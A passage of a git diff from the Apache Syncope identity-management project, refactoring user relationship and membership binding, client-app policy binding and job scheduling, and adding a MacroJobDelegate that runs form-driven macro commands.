+ prop.setReadable(fpd.isReadable()); + prop.setRequired(fpd.isRequired()); + prop.setWritable(fpd.isWritable()); + prop.setType(fpd.getType()); + actions.flatMap(a -> a.getDefaultValue(fpd.getName())).ifPresent(v -> prop.setValue(v)); + switch (prop.getType()) { + case String: + prop.setStringRegEx(fpd.getStringRegEx()); + break; + + case Date: + prop.setDatePattern(fpd.getDatePattern()); + break; + + case Enum: + fpd.getEnumValues().forEach((k, v) -> prop.getEnumValues().add(new FormPropertyValue(k, v))); + break; + + case Dropdown: + actions.ifPresent(a -> a.getDropdownValues(fpd.getName()). + forEach((k, v) -> prop.getDropdownValues().add(new FormPropertyValue(k, v)))); + prop.setDropdownSingleSelection(fpd.isDropdownSingleSelection()); + prop.setDropdownFreeForm(fpd.isDropdownFreeForm()); + break; + + default: + } + return prop; + }).collect(Collectors.toList())); + + return form; + } } diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/UserDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/UserDataBinderImpl.java index b61320990ac..2d97ce08c9c 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/UserDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/UserDataBinderImpl.java @@ -42,6 +42,7 @@ import org.apache.syncope.common.lib.to.Item; import org.apache.syncope.common.lib.to.LinkedAccountTO; import org.apache.syncope.common.lib.to.MembershipTO; +import org.apache.syncope.common.lib.to.RelationshipTO; import org.apache.syncope.common.lib.to.UserTO; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.CipherAlgorithm; @@ -354,10 +355,14 @@ public void create(final User user, final UserCR userCR) { userCR.getRelationships().forEach(relationshipTO -> { AnyObject otherEnd = anyObjectDAO.find(relationshipTO.getOtherEndKey()); if (otherEnd == null) { - LOG.debug("Ignoring invalid anyObject " + relationshipTO.getOtherEndKey()); + LOG.debug("Ignoring invalid anyObject {}", relationshipTO.getOtherEndKey()); + } else if (relationshipTO.getEnd() == RelationshipTO.End.RIGHT) { + SyncopeClientException noRight = + SyncopeClientException.build(ClientExceptionType.InvalidRelationship); + noRight.getElements().add( + "Relationships shall be created or updated only from their left end"); + scce.addException(noRight); } else if (relationships.contains(Pair.of(otherEnd.getKey(), relationshipTO.getType()))) { - LOG.error("{} was already in relationship {} with {}", otherEnd, relationshipTO.getType(), user); - SyncopeClientException assigned = SyncopeClientException.build(ClientExceptionType.InvalidRelationship); assigned.getElements().add(otherEnd.getType().getKey() + " " + otherEnd.getName() @@ -378,8 +383,6 @@ public void create(final User user, final UserCR userCR) { user.add(relationship); } } else { - LOG.error("{} cannot be related to {}", otherEnd, user); - SyncopeClientException unrelatable = SyncopeClientException.build(ClientExceptionType.InvalidRelationship); unrelatable.getElements().add(otherEnd.getType().getKey() + " " + otherEnd.getName() @@ -404,7 +407,7 @@ public void create(final User user, final UserCR userCR) { SyncopeClientException.build(ClientExceptionType.InvalidMembership); assigned.getElements().add("Group " + group.getName() + " was already assigned"); scce.addException(assigned); - } else if (user.getRealm().getFullPath().startsWith(group.getRealm().getFullPath())) { + } else { groups.add(group.getKey()); UMembership membership = entityFactory.newEntity(UMembership.class); @@ -415,13 +418,6 @@ public void create(final User user, final UserCR userCR) { // membership attributes fill(user, membership, membershipTO, anyUtilsFactory.getInstance(AnyTypeKind.USER), scce); - } else { - LOG.error("{} cannot be assigned to {}", group, user); - - SyncopeClientException unassignable = - SyncopeClientException.build(ClientExceptionType.InvalidMembership); - unassignable.getElements().add("Group " + group.getName() + " cannot be assigned"); - scce.addException(unassignable); } }); @@ -465,12 +461,12 @@ public Pair, PropagationByResource changePwdRes = new HashSet<>(); if (userUR.getPassword() != null) { if (userUR.getPassword().getOperation() == PatchOperation.DELETE) { user.setEncodedPassword(null, null); - changePwd = true; + changePwdRes.addAll(userUR.getPassword().getResources()); } else if (StringUtils.isNotBlank(userUR.getPassword().getValue())) { if (userUR.getPassword().isOnSyncope()) { setPassword(user, userUR.getPassword().getValue(), scce); @@ -478,17 +474,17 @@ public Pair, PropagationByResource beforeOnResources = - onResources(user, userDAO.findAllResourceKeys(user.getKey()), password, changePwd); + onResources(user, userDAO.findAllResourceKeys(user.getKey()), password, changePwdRes); // realm setRealm(user, userUR); @@ -565,15 +561,18 @@ public Pair, PropagationByResource, PropagationByResource, PropagationByResource userUR.getPassword().getResources().add(resource.getKey())); } - } else { - LOG.error("{} cannot be assigned to {}", group, user); - - SyncopeClientException unassignable = - SyncopeClientException.build(ClientExceptionType.InvalidMembership); - unassignable.getElements().add("Group " + group.getName() + " cannot be assigned"); - scce.addException(unassignable); } } }); @@ -714,7 +706,6 @@ public Pair, PropagationByResource, PropagationByResource afterOnResources = - onResources(user, userDAO.findAllResourceKeys(user.getKey()), password, changePwd); + onResources(user, userDAO.findAllResourceKeys(user.getKey()), password, changePwdRes); propByRes.merge(propByRes(beforeOnResources, afterOnResources)); if (userUR.getMustChangePassword() != null) { @@ -844,7 +835,8 @@ public UserTO getUserTO(final User user, final boolean details) { // relationships userTO.getRelationships().addAll(user.getRelationships().stream(). - map(relationship -> getRelationshipTO(relationship.getType().getKey(), relationship.getRightEnd())). + map(relationship -> getRelationshipTO(relationship.getType().getKey(), + RelationshipTO.End.LEFT, relationship.getRightEnd())). collect(Collectors.toList())); // memberships diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/wa/WAClientAppDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/wa/WAClientAppDataBinderImpl.java index 7012ab1a914..a053d298719 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/wa/WAClientAppDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/wa/WAClientAppDataBinderImpl.java @@ -18,14 +18,10 @@ */ package org.apache.syncope.core.provisioning.java.data.wa; -import org.apache.syncope.common.lib.policy.AttrReleasePolicyConf; import org.apache.syncope.common.lib.policy.AuthPolicyConf; -import org.apache.syncope.common.lib.policy.DefaultAttrReleasePolicyConf; import org.apache.syncope.common.lib.policy.DefaultAuthPolicyConf; import org.apache.syncope.common.lib.wa.WAClientApp; -import org.apache.syncope.core.persistence.api.dao.AttrRepoDAO; import org.apache.syncope.core.persistence.api.dao.AuthModuleDAO; -import org.apache.syncope.core.persistence.api.entity.am.AttrRepo; import org.apache.syncope.core.persistence.api.entity.am.AuthModule; import org.apache.syncope.core.persistence.api.entity.am.ClientApp; import org.apache.syncope.core.provisioning.api.data.AuthModuleDataBinder; @@ -47,20 +43,16 @@ public class WAClientAppDataBinderImpl implements WAClientAppDataBinder { protected final AuthModuleDAO authModuleDAO; - protected final AttrRepoDAO attrRepoDAO; - public WAClientAppDataBinderImpl( final ClientAppDataBinder clientAppDataBinder, final PolicyDataBinder policyDataBinder, final AuthModuleDataBinder authModuleDataBinder, - final AuthModuleDAO authModuleDAO, - final AttrRepoDAO attrRepoDAO) { + final AuthModuleDAO authModuleDAO) { this.clientAppDataBinder = clientAppDataBinder; this.policyDataBinder = policyDataBinder; this.authModuleDataBinder = authModuleDataBinder; this.authModuleDAO = authModuleDAO; - this.attrRepoDAO = attrRepoDAO; } @Override @@ -84,10 +76,6 @@ public WAClientApp getWAClientApp(final ClientApp clientApp) { LOG.warn("AuthModule " + authModule + " not found"); } else { waClientApp.getAuthModules().add(authModuleDataBinder.getAuthModuleTO(authModule)); - - authModule.getItems(). - forEach(item -> waClientApp.getReleaseAttrs().put( - item.getIntAttrName(), item.getExtAttrName())); } }); } @@ -98,30 +86,20 @@ public WAClientApp getWAClientApp(final ClientApp clientApp) { waClientApp.setAccessPolicy(policyDataBinder.getPolicyTO(clientApp.getRealm().getAccessPolicy())); } - AttrReleasePolicyConf attrReleasePolicyConf = null; if (clientApp.getAttrReleasePolicy() != null) { - attrReleasePolicyConf = clientApp.getAttrReleasePolicy().getConf(); waClientApp.setAttrReleasePolicy( policyDataBinder.getPolicyTO(clientApp.getAttrReleasePolicy())); } else if (clientApp.getRealm() != null && clientApp.getRealm().getAttrReleasePolicy() != null) { - attrReleasePolicyConf = clientApp.getRealm().getAttrReleasePolicy().getConf(); waClientApp.setAttrReleasePolicy( policyDataBinder.getPolicyTO(clientApp.getRealm().getAttrReleasePolicy())); } - if (attrReleasePolicyConf instanceof DefaultAttrReleasePolicyConf - && ((DefaultAttrReleasePolicyConf) attrReleasePolicyConf).getPrincipalAttrRepoConf() != null) { - (((DefaultAttrReleasePolicyConf) attrReleasePolicyConf).getPrincipalAttrRepoConf()). - getAttrRepos().forEach(key -> { - AttrRepo attrRepo = attrRepoDAO.find(key); - if (attrRepo == null) { - LOG.warn("AttrRepo " + attrRepo + " not found"); - } else { - attrRepo.getItems(). - forEach(item -> waClientApp.getReleaseAttrs().put( - item.getIntAttrName(), item.getExtAttrName())); - } - }); + if (clientApp.getTicketExpirationPolicy() != null) { + waClientApp.setTicketExpirationPolicy( + policyDataBinder.getPolicyTO(clientApp.getTicketExpirationPolicy())); + } else if (clientApp.getRealm() != null && clientApp.getRealm().getTicketExpirationPolicy() != null) { + waClientApp.setTicketExpirationPolicy( + policyDataBinder.getPolicyTO(clientApp.getRealm().getTicketExpirationPolicy())); } } catch (Exception e) { LOG.error("While building the configuration from an application's policy ", e); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractInterruptableJob.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractInterruptableJob.java index a858d2385b6..3889ee56ae7 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractInterruptableJob.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractInterruptableJob.java @@ -36,7 +36,6 @@ public void interrupt() { public boolean isInterrupted() { return false; } - }; public JobDelegate getDelegate() { diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractSchedTaskJobDelegate.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractSchedTaskJobDelegate.java index cbace864bd0..0f37b8c89f6 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractSchedTaskJobDelegate.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractSchedTaskJobDelegate.java @@ -35,11 +35,13 @@ import org.apache.syncope.core.provisioning.api.job.SchedTaskJobDelegate; import org.apache.syncope.core.provisioning.api.notification.NotificationManager; import org.apache.syncope.core.provisioning.api.utils.ExceptionUtils2; +import org.apache.syncope.core.spring.security.SecureRandomUtils; import org.apache.syncope.core.spring.security.SecurityProperties; import org.quartz.JobExecutionContext; import org.quartz.JobExecutionException; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.slf4j.MDC; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationEventPublisher; import org.springframework.transaction.annotation.Transactional; @@ -49,7 +51,7 @@ public abstract class AbstractSchedTaskJobDelegate implemen protected static final Logger LOG = LoggerFactory.getLogger(SchedTaskJobDelegate.class); @Autowired - private SecurityProperties securityProperties; + protected SecurityProperties securityProperties; protected TaskType taskType; @@ -131,6 +133,13 @@ public void execute( return; } + boolean manageOperationId = Optional.ofNullable(MDC.get(OPERATION_ID)). + map(operationId -> false). + orElseGet(() -> { + MDC.put(OPERATION_ID, SecureRandomUtils.generateRandomUUID().toString()); + return true; + }); + String executor = Optional.ofNullable(context.getMergedJobDataMap().getString(JobManager.EXECUTOR_KEY)). orElse(securityProperties.getAdminUser()); TaskExec execution = taskUtilsFactory.getInstance(taskType).newTaskExec(); @@ -145,8 +154,9 @@ public void execute( try { execution.setMessage(doExecute(dryRun, executor, context)); execution.setStatus(TaskJob.Status.SUCCESS.name()); + result = AuditElements.Result.SUCCESS; - } catch (JobExecutionException e) { + } catch (SecurityException | JobExecutionException e) { LOG.error("While executing task {}", taskKey, e); result = AuditElements.Result.FAILURE; @@ -167,7 +177,7 @@ public void execute( AuditElements.EventCategoryType.TASK, this.getClass().getSimpleName(), null, - this.getClass().getSimpleName(), // searching for before object is too much expensive ... + this.getClass().getSimpleName(), result, task, execution); @@ -177,10 +187,14 @@ public void execute( AuditElements.EventCategoryType.TASK, task.getClass().getSimpleName(), null, - null, // searching for before object is too much expensive ... + this.getClass().getSimpleName(), result, task, - null); + execution); + + if (manageOperationId) { + MDC.remove(OPERATION_ID); + } } /** diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/DefaultJobManager.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/DefaultJobManager.java index 719de888b39..3ff62322454 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/DefaultJobManager.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/DefaultJobManager.java @@ -32,7 +32,6 @@ import java.util.Set; import javax.sql.DataSource; import org.apache.commons.lang3.StringUtils; -import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.keymaster.client.api.ConfParamOps; import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.types.IdRepoImplementationType; @@ -208,9 +207,7 @@ protected void registerJob( public Map register( final SchedTask task, final OffsetDateTime startAt, - final long interruptMaxRetries, - final String executor) - throws SchedulerException { + final String executor) throws SchedulerException { Implementation jobDelegate = task.getJobDelegate() == null ? task instanceof PullTask @@ -231,7 +228,7 @@ public Map register( Map jobMap = createJobMapForExecutionContext(executor); jobMap.put(JobManager.TASK_TYPE, taskUtilsFactory.getInstance(task).getType()); jobMap.put(JobManager.TASK_KEY, task.getKey()); - jobMap.put(TaskJob.DELEGATE_IMPLEMENTATION, jobDelegate.getKey()); + jobMap.put(JobManager.DELEGATE_IMPLEMENTATION, jobDelegate.getKey()); registerJob( JobNamer.getJobKey(task).getName(), @@ -243,14 +240,14 @@ public Map register( } @Override - public void register( + public Map register( final Report report, final OffsetDateTime startAt, - final long interruptMaxRetries, final String executor) throws SchedulerException { Map jobMap = createJobMapForExecutionContext(executor); jobMap.put(JobManager.REPORT_KEY, report.getKey()); + jobMap.put(JobManager.DELEGATE_IMPLEMENTATION, report.getJobDelegate().getKey()); registerJob( JobNamer.getJobKey(report).getName(), @@ -258,6 +255,7 @@ public void register( report.getCronExpression(), Optional.ofNullable(startAt).map(s -> new Date(s.toInstant().toEpochMilli())).orElse(null), jobMap); + return jobMap; } protected Map createJobMapForExecutionContext(final String executor) { @@ -308,56 +306,47 @@ public void load(final String domain, final DataSource datasource) { return; } - Pair conf = AuthContextUtils.callAsAdmin(SyncopeConstants.MASTER_DOMAIN, () -> { - String notificationJobCronExpression = StringUtils.EMPTY; - - String notificationJobCronExp = confParamOps.get( - SyncopeConstants.MASTER_DOMAIN, "notificationjob.cronExpression", null, String.class); - if (notificationJobCronExp == null) { - notificationJobCronExpression = NotificationJob.DEFAULT_CRON_EXP; - } else if (!StringUtils.EMPTY.equals(notificationJobCronExp)) { - notificationJobCronExpression = notificationJobCronExp; - } - - long interruptMaxRetries = confParamOps.get( - SyncopeConstants.MASTER_DOMAIN, "tasks.interruptMaxRetries", 1L, Long.class); - - return Pair.of(notificationJobCronExpression, interruptMaxRetries); - }); - AuthContextUtils.callAsAdmin(domain, () -> { // 1. jobs for SchedTasks Set tasks = new HashSet<>(taskDAO.findAll(TaskType.SCHEDULED)); tasks.addAll(taskDAO.findAll(TaskType.PULL)); tasks.addAll(taskDAO.findAll(TaskType.PUSH)); + tasks.addAll(taskDAO.findAll(TaskType.MACRO)); boolean loadException = false; for (Iterator it = tasks.iterator(); it.hasNext() && !loadException;) { SchedTask task = it.next(); + + LOG.debug("Loading job for {} Task {} {}", + taskUtilsFactory.getInstance(task).getType(), task.getKey(), task.getName()); + try { - register(task, task.getStartAt(), conf.getRight(), securityProperties.getAdminUser()); + register(task, task.getStartAt(), securityProperties.getAdminUser()); } catch (Exception e) { - LOG.error("While loading job instance for task " + task.getKey(), e); + LOG.error("While loading job instance for task {}", task.getKey(), e); loadException = true; } } if (loadException) { - LOG.debug("Errors while loading job instances for tasks, aborting"); + LOG.error("Errors while loading job for tasks, aborting"); } else { // 2. jobs for Reports - for (Iterator it = reportDAO.findAll().iterator(); it.hasNext() && !loadException;) { + for (Iterator it = reportDAO.findAll().iterator(); it.hasNext() && !loadException;) { Report report = it.next(); + + LOG.debug("Loading job for Report {} {}", report.getKey(), report.getName()); + try { - register(report, null, conf.getRight(), securityProperties.getAdminUser()); + register(report, null, securityProperties.getAdminUser()); } catch (Exception e) { - LOG.error("While loading job instance for report " + report.getName(), e); + LOG.error("While loading job instance for report {}", report.getName(), e); loadException = true; } } if (loadException) { - LOG.debug("Errors while loading job instances for reports, aborting"); + LOG.error("Errors while loading job for reports, aborting"); } } @@ -365,20 +354,32 @@ public void load(final String domain, final DataSource datasource) { }); if (SyncopeConstants.MASTER_DOMAIN.equals(domain)) { + String notificationJobCronExp = AuthContextUtils.callAsAdmin(SyncopeConstants.MASTER_DOMAIN, () -> { + String result = StringUtils.EMPTY; + + String conf = confParamOps.get( + SyncopeConstants.MASTER_DOMAIN, "notificationjob.cronExpression", null, String.class); + if (conf == null) { + result = NotificationJob.DEFAULT_CRON_EXP; + } else if (!StringUtils.EMPTY.equals(conf)) { + result = conf; + } + return result; + }); + // 3. NotificationJob - if (StringUtils.isBlank(conf.getLeft())) { - LOG.debug("Empty value provided for {}'s cron, not registering anything on Quartz", - NotificationJob.class.getSimpleName()); + if (StringUtils.isBlank(notificationJobCronExp)) { + LOG.debug("Empty value provided for {}'s cron, not scheduling", NotificationJob.class.getSimpleName()); } else { - LOG.debug("{}'s cron expression: {} - registering Quartz job and trigger", - NotificationJob.class.getSimpleName(), conf.getLeft()); + LOG.debug("{}'s cron expression: {} - scheduling", + NotificationJob.class.getSimpleName(), notificationJobCronExp); try { Map jobData = createJobMapForExecutionContext(securityProperties.getAdminUser()); registerJob( NOTIFICATION_JOB.getName(), NotificationJob.class, - conf.getLeft(), + notificationJobCronExp, null, jobData); } catch (Exception e) { @@ -409,21 +410,27 @@ public void unload(final String domain) { Set tasks = new HashSet<>(taskDAO.findAll(TaskType.SCHEDULED)); tasks.addAll(taskDAO.findAll(TaskType.PULL)); tasks.addAll(taskDAO.findAll(TaskType.PUSH)); + tasks.addAll(taskDAO.findAll(TaskType.MACRO)); tasks.forEach(task -> { + LOG.debug("Unloading job for {} Task {} {}", + taskUtilsFactory.getInstance(task).getType(), task.getKey(), task.getName()); + try { unregister(task); } catch (Exception e) { - LOG.error("While unloading job instance for task " + task.getKey(), e); + LOG.error("While unloading job for task {}", task.getKey(), e); } }); // 2. jobs for Reports reportDAO.findAll().forEach(report -> { + LOG.debug("Unloading job for Report {} {}", report.getKey(), report.getName()); + try { unregister(report); } catch (Exception e) { - LOG.error("While unloading job instance for report " + report.getName(), e); + LOG.error("While unloading job for report {}", report.getName(), e); } }); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/MacroJobDelegate.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/MacroJobDelegate.java new file mode 100644 index 00000000000..0718efc70be --- /dev/null +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/MacroJobDelegate.java @@ -0,0 +1,330 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.provisioning.java.job; + +import java.time.format.DateTimeParseException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.Set; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.Future; +import java.util.concurrent.atomic.AtomicReference; +import java.util.stream.Collectors; +import javax.annotation.Resource; +import javax.validation.ConstraintViolation; +import javax.validation.ValidationException; +import javax.validation.Validator; +import org.apache.commons.jexl3.JexlContext; +import org.apache.commons.jexl3.MapContext; +import org.apache.commons.lang3.BooleanUtils; +import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.math.NumberUtils; +import org.apache.commons.lang3.tuple.Pair; +import org.apache.syncope.common.lib.command.CommandArgs; +import org.apache.syncope.common.lib.form.FormProperty; +import org.apache.syncope.common.lib.form.SyncopeForm; +import org.apache.syncope.core.persistence.api.dao.ImplementationDAO; +import org.apache.syncope.core.persistence.api.entity.task.FormPropertyDef; +import org.apache.syncope.core.persistence.api.entity.task.MacroTask; +import org.apache.syncope.core.persistence.api.entity.task.MacroTaskCommand; +import org.apache.syncope.core.persistence.api.entity.task.TaskExec; +import org.apache.syncope.core.provisioning.api.jexl.JexlUtils; +import org.apache.syncope.core.provisioning.api.macro.Command; +import org.apache.syncope.core.provisioning.api.macro.MacroActions; +import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; +import org.apache.syncope.core.provisioning.api.utils.FormatUtils; +import org.apache.syncope.core.spring.implementation.ImplementationManager; +import org.quartz.JobExecutionContext; +import org.quartz.JobExecutionException; +import org.springframework.aop.support.AopUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; +import org.springframework.security.concurrent.DelegatingSecurityContextCallable; +import org.springframework.util.ReflectionUtils; + +public class MacroJobDelegate extends AbstractSchedTaskJobDelegate { + + public static final String MACRO_TASK_FORM_JOBDETAIL_KEY = "macroTaskForm"; + + @Autowired + protected ImplementationDAO implementationDAO; + + @Autowired + protected Validator validator; + + @Resource(name = "batchExecutor") + protected ThreadPoolTaskExecutor executor; + + protected final Map perContextActions = new ConcurrentHashMap<>(); + + protected final Map> perContextCommands = new ConcurrentHashMap<>(); + + protected Optional check( + final SyncopeForm macroTaskForm, + final Optional actions, + final StringBuilder output) throws JobExecutionException { + + if (macroTaskForm == null) { + return Optional.empty(); + } + + // check if there is any required property with no value provided + Set missingFormProperties = task.getFormPropertyDefs().stream(). + filter(FormPropertyDef::isRequired). + map(fpd -> Pair.of( + fpd.getName(), + macroTaskForm.getProperty(fpd.getName()).map(p -> p.getValue() != null))). + filter(pair -> pair.getRight().isEmpty()). + map(Pair::getLeft). + collect(Collectors.toSet()); + if (!missingFormProperties.isEmpty()) { + throw new JobExecutionException("Required form properties missing: " + missingFormProperties); + } + + // build the JEXL context where variables are mapped to property values, built according to the defined type + Map vars = new HashMap<>(); + for (FormPropertyDef fpd : task.getFormPropertyDefs()) { + String value = macroTaskForm.getProperty(fpd.getName()).map(FormProperty::getValue).orElse(null); + if (value == null) { + continue; + } + + switch (fpd.getType()) { + case String: + if (Optional.ofNullable(fpd.getStringRegEx()). + map(pattern -> !pattern.matcher(value).matches()). + orElse(false)) { + + throw new JobExecutionException("RegEx not matching for " + fpd.getName() + ": " + value); + } + + vars.put(fpd.getName(), value); + break; + + case Password: + vars.put(fpd.getName(), value); + break; + + case Boolean: + vars.put(fpd.getName(), BooleanUtils.toBoolean(value)); + break; + + case Date: + try { + vars.put(fpd.getName(), StringUtils.isBlank(fpd.getDatePattern()) + ? FormatUtils.parseDate(value) + : FormatUtils.parseDate(value, fpd.getDatePattern())); + } catch (DateTimeParseException e) { + throw new JobExecutionException("Unparseable date " + fpd.getName() + ": " + value, e); + } + break; + + case Long: + vars.put(fpd.getName(), NumberUtils.toLong(value)); + break; + + case Enum: + if (!fpd.getEnumValues().containsKey(value)) { + throw new JobExecutionException("Not allowed for " + fpd.getName() + ": " + value); + } + + vars.put(fpd.getName(), value); + break; + + case Dropdown: + if (!fpd.isDropdownFreeForm()) { + List values = fpd.isDropdownSingleSelection() + ? List.of(value) + : List.of(value.split(";")); + + if (!actions.map(a -> a.getDropdownValues(fpd.getName()).keySet()). + orElse(Set.of()).containsAll(values)) { + + throw new JobExecutionException("Not allowed for " + fpd.getName() + ": " + values); + } + } + + vars.put(fpd.getName(), value); + break; + + default: + } + } + + // if validator is defined, validate the provided form + try { + actions.ifPresent(a -> a.validate(macroTaskForm, vars)); + } catch (ValidationException e) { + throw new JobExecutionException("Invalid form submitted for task " + task.getKey(), e); + } + + output.append("Form parameter values: ").append(vars).append("\n\n"); + + return vars.isEmpty() ? Optional.empty() : Optional.of(new MapContext(vars)); + } + + protected String run( + final List, CommandArgs>> commands, + final Optional actions, + final StringBuilder output, + final boolean dryRun) + throws JobExecutionException { + + Future>> future = executor.submit( + new DelegatingSecurityContextCallable<>(() -> { + + AtomicReference> error = new AtomicReference<>(); + + for (int i = 0; i < commands.size() && error.get() == null; i++) { + Pair, CommandArgs> command = commands.get(i); + + try { + String args = POJOHelper.serialize(command.getRight()); + output.append("Command[").append(command.getLeft().getClass().getName()).append("]: "). + append(args).append("\n"); + + if (!dryRun) { + actions.ifPresent(a -> a.beforeCommand(command.getLeft(), command.getRight())); + + String cmdOut = command.getLeft().run(command.getRight()); + + actions.ifPresent(a -> a.afterCommand(command.getLeft(), command.getRight(), cmdOut)); + + output.append(cmdOut); + } + } catch (Throwable t) { + if (task.isContinueOnError()) { + output.append("Continuing on error: <").append(t.getMessage()).append('>'); + + LOG.error("While running {} with args {}, continuing on error", + command.getLeft().getClass().getName(), command.getRight(), t); + } else { + error.set(Pair.of(AopUtils.getTargetClass(command.getLeft()).getName(), t)); + } + } + output.append("\n\n"); + } + + return error; + })); + + try { + AtomicReference> error = future.get(); + if (error.get() != null) { + throw new JobExecutionException("While running " + error.get().getLeft(), error.get().getRight()); + } + } catch (ExecutionException | InterruptedException e) { + throw new JobExecutionException("While waiting for macro commands completion", e); + } + + output.append("COMPLETED"); + + return actions.filter(a -> !dryRun).map(a -> a.afterAll(output)).orElse(output).toString(); + } + + @SuppressWarnings("unchecked") + @Override + protected String doExecute(final boolean dryRun, final String executor, final JobExecutionContext context) + throws JobExecutionException { + + Optional actions; + if (task.getMacroActions() == null) { + actions = Optional.empty(); + } else { + try { + actions = Optional.of(ImplementationManager.build( + task.getMacroActions(), + () -> perContextActions.get(task.getMacroActions().getKey()), + instance -> perContextActions.put(task.getMacroActions().getKey(), instance))); + } catch (Exception e) { + throw new JobExecutionException("Could not build " + task.getMacroActions().getKey(), e); + } + } + + StringBuilder output = new StringBuilder(); + + SyncopeForm macroTaskForm = (SyncopeForm) context.getMergedJobDataMap().get(MACRO_TASK_FORM_JOBDETAIL_KEY); + Optional jexlContext = check(macroTaskForm, actions, output); + + if (!dryRun) { + actions.ifPresent(MacroActions::beforeAll); + } + + List, CommandArgs>> commands = new ArrayList<>(); + for (MacroTaskCommand command : task.getCommands()) { + Command runnable; + try { + runnable = (Command) ImplementationManager.build( + command.getCommand(), + () -> perContextCommands.get(command.getCommand().getKey()), + instance -> perContextCommands.put(command.getCommand().getKey(), instance)); + } catch (Exception e) { + throw new JobExecutionException("Could not build " + command.getCommand().getKey(), e); + } + + CommandArgs args; + if (command.getArgs() == null) { + try { + args = ImplementationManager.emptyArgs(command.getCommand()); + } catch (Exception e) { + throw new JobExecutionException("While getting empty args from " + command.getKey(), e); + } + } else { + args = command.getArgs(); + + jexlContext.ifPresent(ctx -> ReflectionUtils.doWithFields( + args.getClass(), + field -> { + if (String.class.equals(field.getType())) { + field.setAccessible(true); + Object value = field.get(args); + if (value instanceof String) { + field.set(args, JexlUtils.evaluateTemplate((String) value, ctx)); + } + } + }, + field -> !field.isSynthetic())); + + Set> violations = validator.validate(args); + if (!violations.isEmpty()) { + LOG.error("While validating {}: {}", args, violations); + + throw new JobExecutionException( + "While running " + command.getKey(), + new IllegalArgumentException(violations.stream(). + map(v -> v.getPropertyPath() + ": " + v.getMessage()). + collect(Collectors.joining(",")))); + } + } + + commands.add(Pair.of(runnable, args)); + } + + return run(commands, actions, output, dryRun); + } + + @Override + protected boolean hasToBeRegistered(final TaskExec execution) { + return task.isSaveExecs(); + } +} diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/SyncopeSpringBeanJobFactory.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/SyncopeSpringBeanJobFactory.java index d63901c9a81..aee29b19090 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/SyncopeSpringBeanJobFactory.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/SyncopeSpringBeanJobFactory.java @@ -18,10 +18,6 @@ */ package org.apache.syncope.core.provisioning.java.job; -import java.util.Optional; -import org.apache.syncope.common.lib.types.TaskType; -import org.apache.syncope.core.provisioning.api.job.JobManager; -import org.apache.syncope.core.provisioning.java.job.report.ReportJob; import org.apache.syncope.core.spring.ApplicationContextProvider; import org.quartz.spi.TriggerFiredBundle; import org.slf4j.Logger; @@ -37,19 +33,6 @@ public class SyncopeSpringBeanJobFactory extends SpringBeanJobFactory { protected Object createJobInstance(final TriggerFiredBundle bundle) throws Exception { Object job = super.createJobInstance(bundle); - if (bundle.getJobDetail().getJobDataMap() != null) { - if (job instanceof ReportJob) { - Optional.ofNullable(bundle.getJobDetail().getJobDataMap().getString(JobManager.REPORT_KEY)). - ifPresent(((ReportJob) job)::setReportKey); - } else if (job instanceof TaskJob) { - TaskType taskType = (TaskType) 